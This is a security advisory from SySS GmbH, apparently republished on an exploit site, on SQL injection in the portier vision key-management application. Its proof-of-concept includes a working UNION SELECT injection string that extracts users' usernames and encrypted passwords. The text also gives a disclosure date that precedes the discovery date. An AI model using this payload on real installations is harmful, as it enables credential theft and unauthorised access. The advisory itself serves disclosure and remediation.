ExploitFixes
Portier Vision 4.4.4.2 / 4.4.4.6 - SQL Injection 2019-01-14 00:05:08

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Advisory ID: SYSS-2018-012
Product: PORTIER
Affected Version(s): 4.4.4.2, 4.4.4.6
Tested Version(s): 4.4.4.2, 4.4.4.6
Vulnerability Type: SQL Injection (CWE-89)
Risk Level: HIGH
Solution Status: Open
Manufacturer Notification: 2018-06-13
Solution Date: -
Public Disclosure: 2018-01-09
CVE Reference: CVE-2019-5722
Author of Advisory: Christian Pappas, SySS GmbH

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Overview:

portier vision is a rich client application for managing door keys allocated
to certain persons or group of persons.

The manufacturer describes the product as follows (see [1]):

"portierA(r) vision
* manages locking systems and access rights in a modern and efficient manner
* stores all the details for every single key
* provides you lightning fast with all the information you need in a format
you choose
portier A(r)vision easy - secure - fast, our idea of software."

Due to a lack of user input validation in the parameter handling, portier is
application wide vulnerable to various SQL injections, including the login
form.

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Vulnerability Details:

Many input fields are vulnerable to SQL injection. An SQL injection allows
typically an attacker to execute almost arbitrary SQL commands. It is possible
to break out of the original query with an uptick, append a custom query and
fix the syntax.

The application supports Firebird and MS SQL database servers. Stacked queries
do not work with both database servers. One of the vulnerable input fields is
the user name within the login form. This allows even unauthenticated users
to exploit the application. Because the authentication process is implemented
in the client application, the SQL injection in the login form does not allow
a login bypass.

The most promising real-life attack among other possible attacks is to steal
the encrypted passwords of users with supervisor privileges. Within this
application Supervisors have the highest privileges for administrative purpose.

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Proof-of-Concept (PoC):

This proof-of-concept will exploit the vulnerability in the search form for a
key ring number, but several other vulnerable input fields do exist. Because
this is not a web application, most of the publicly available tools for
exploiting SQL injections will not work out of the box.

Due to the use of plain text communication between application and database,
server it is easy to sniff the traffic and capture the queries made by the
application. That comes in handy for building a valid attack vector since the
flaw is exploited manually.

Searching for the key ring number 'TRACKME', the application queries the
database server as following:

SELECT
BUND.BUND_ID, BUND.BUNDNUMMER, BUND.BESCHREIBUNG, BUND.ABTEILUNG, BUND.BEREICH, BUND.KOSTENSTELLE, DEPOT.BEZEICHNUNG as DEP_BEZEICHNUNG, BUND.BEMERKUNG_1, BUND.BEMERKUNG_2, BUND.BEMERKUNG_3
FROM
BUND BUND
LEFT OUTER JOIN DEPOT DEPOT ON DEPOT.DEPOT_ID = BUND.DEPOT_ID
WHERE
( 1 = 1 )
AND (upper(BUND.BUNDNUMMER) LIKE 'TRACKME%')

To get hold of the passwords for all supervisor users in the application, it is
necessary to break out of the the original, inject the attack vector, and
finally fix the SQL syntax:

') UNION SELECT 1,user_kz,passwort,1,1,1,1,1,1,1 FROM BENUTZER WHERE (systemuser = 1) AND ('a%' = 'a

'systemuser' within the previous shown attack vector can be replaced by '1' to
get the passwords of all users, no matter if they have supervisor privileges
or not. In both cases, the username will be displayed in the application next
to their password.

The attack vector embedded in the client's query looks like the following:

SELECT
BUND.BUND_ID, BUND.BUNDNUMMER, BUND.BESCHREIBUNG, BUND.ABTEILUNG, BUND.BEREICH, BUND.KOSTENSTELLE, DEPOT.BEZEICHNUNG as DEP_BEZEICHNUNG, BUND.BEMERKUNG_1, BUND.BEMERKUNG_2, BUND.BEMERKUNG_3
FROM
BUND BUND
LEFT OUTER JOIN DEPOT DEPOT ON DEPOT.DEPOT_ID = BUND.DEPOT_ID
WHERE
( 1 = 1 )
AND (upper(BUND.BUNDNUMMER) LIKE '') UNION SELECT 1,user_kz,passwort,1,1,1,1,1,1,1 FROM BENUTZER WHERE (systemuser = 1) AND ('a%' = 'a%')

The Firebird, unlike the MS SQL, database do not support UNION SELECT query if
the entire query is terminated by an ORDER BY statement. Thus the number of
out of the application exploitable input fields is with an MS SQL database
slightly smaller.

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Solution:

Make application wide use of prepared statements for querying the database.
SySS GmbH is not aware of a solution to the reported security issue provided
by the manufacturer.

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Disclosure Timeline:

2018-05-23: Vulnerability discovered
2018-06-13: Vulnerability reported to manufacturer
2018-01-09: Public disclosure of vulnerability

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References:

[1] Product website for PORTIER
https://portier.de/
[2] SySS Security Advisory SYSS-2018-012
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-012.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/news/responsible-disclosure-policy/

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Credits:

This security vulnerability was found by Christian Pappas of SySS GmbH.

E-Mail: [email protected]
Public Key: ://www.syss.de/fileadmin/dokumente/PGPKeys/Christian_Pappas.asc
Key ID: 0xC5D4E3BA8BA76B25
Key Fingerprint: 5655 FDBE 40DF 0CC4 F143 9877 C5D4 E3BA 8BA7 6B25

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Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS web
site.

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Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: https://creativecommons.org/licenses/by/3.0/deed.en
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